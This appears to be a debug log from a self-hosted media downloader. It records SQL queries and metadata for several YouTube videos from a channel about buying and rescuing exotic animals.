idle=1185.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:15.878 [debug] QUERY OK source="media_items" db=2.1ms idle=1186.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 19:00:26Z], 33] 08:30:15.879 [debug] QUERY OK source="media_items" db=0.8ms idle=1116.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "f784d574-dff4-4e95-b17f-04710a46fc7f", "OqQWifbE3ws", false, "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, [], 1316, false, 10, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, false, 98, ~U[2025-07-26 19:00:26Z], ~U[2026-06-03 12:30:15Z], ~U[2026-06-03 12:30:15Z], "In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "OqQWifbE3ws", "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, 1316, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, ~U[2025-07-26 19:00:26Z]] 08:30:15.879 [debug] QUERY OK source="sources" db=0.2ms idle=115.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:15.880 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:15.880 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118977] 08:30:15.880 [debug] Current batch of media processed. Will check again in 1000ms 08:30:16.881 [debug] Current batch of media processed. Will check again in 1000ms 08:30:17.883 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 871, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", "id" => "FzYbHf2jmM0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FzYbHf2jmM0", "playlist_index" => 11, "timestamp" => 1752329028, "title" => "I Searched 100 Sewers, Here’s What I Found…", "upload_date" => "20250712"} 08:30:17.884 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=194.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:17.885 [debug] QUERY OK source="sources" db=0.4ms idle=195.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:17.889 [debug] QUERY OK source="media_items" db=2.9ms idle=196.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-12 14:03:48Z], 33] 08:30:17.893 [debug] QUERY OK source="media_items" db=3.0ms idle=200.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "ffef7601-34eb-4c30-a9eb-936571980594", "FzYbHf2jmM0", false, "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, [], 871, false, 11, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, false, 98, ~U[2025-07-12 14:03:48Z], ~U[2026-06-03 12:30:17Z], ~U[2026-06-03 12:30:17Z], "In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "FzYbHf2jmM0", "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, 871, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, ~U[2025-07-12 14:03:48Z]] 08:30:17.894 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=124.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:17.896 [debug] QUERY OK source="media_profiles" db=0.5ms idle=10.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:17.897 [debug] QUERY OK source="media_items" db=0.7ms idle=11.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118978] 08:30:17.897 [debug] Current batch of media processed. Will check again in 1000ms 08:30:18.898 [debug] Current batch of media processed. Will check again in 1000ms 08:30:19.899 [debug] Current batch of media processed. Will check again in 1000ms 08:30:20.900 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 1220, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", "id" => "bTxhjc8_xqQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bTxhjc8_xqQ", "playlist_index" => 12, "timestamp" => 1751112021, "title" => "I Found The Deadliest Sea Creatures On The Dark Web!", "upload_date" => "20250628"} 08:30:20.901 [debug] QUERY OK source="sources" db=0.2ms idle=1211.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:20.901 [debug] QUERY OK source="sources" db=0.1ms idle=1211.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:20.902 [debug] QUERY OK source="media_items" db=0.8ms idle=1212.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-28 12:00:21Z], 33] 08:30:20.904 [debug] QUERY OK source="media_items" db=1.1ms idle=1131.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "d514be5c-6b13-4097-a84b-2ddc49a338cb", "bTxhjc8_xqQ", false, "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, [], 1220, false, 12, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, false, 98, ~U[2025-06-28 12:00:21Z], ~U[2026-06-03 12:30:20Z], ~U[2026-06-03 12:30:20Z], "In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "bTxhjc8_xqQ", "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, 1220, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, ~U[2025-06-28 12:00:21Z]] 08:30:20.904 [debug] QUERY OK source="sources" db=0.1ms idle=131.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:20.904 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:20.905 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118979] 08:30:20.905 [debug] Current batch of media processed. Will check again in 1000ms 08:30:21.906 [debug] Current batch of media processed. Will check again in 1000ms 08:30:22.908 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 2451, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", "id" => "J-STRAtlMwM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=J-STRAtlMwM", "playlist_index" => 13, "timestamp" => 1748693114, "title" => "I Found an Abandoned Pet Shop!", "upload_date" => "20250531"} 08:30:22.909 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=219.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:22.911 [debug] QUERY OK source="sources" db=0.4ms idle=220.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:22.913 [debug] QUERY OK source="media_items" db=1.7ms idle=221.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-31 12:05:14Z], 33] 08:30:22.914 [debug] QUERY OK source="media_items" db=1.1ms idle=223.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, 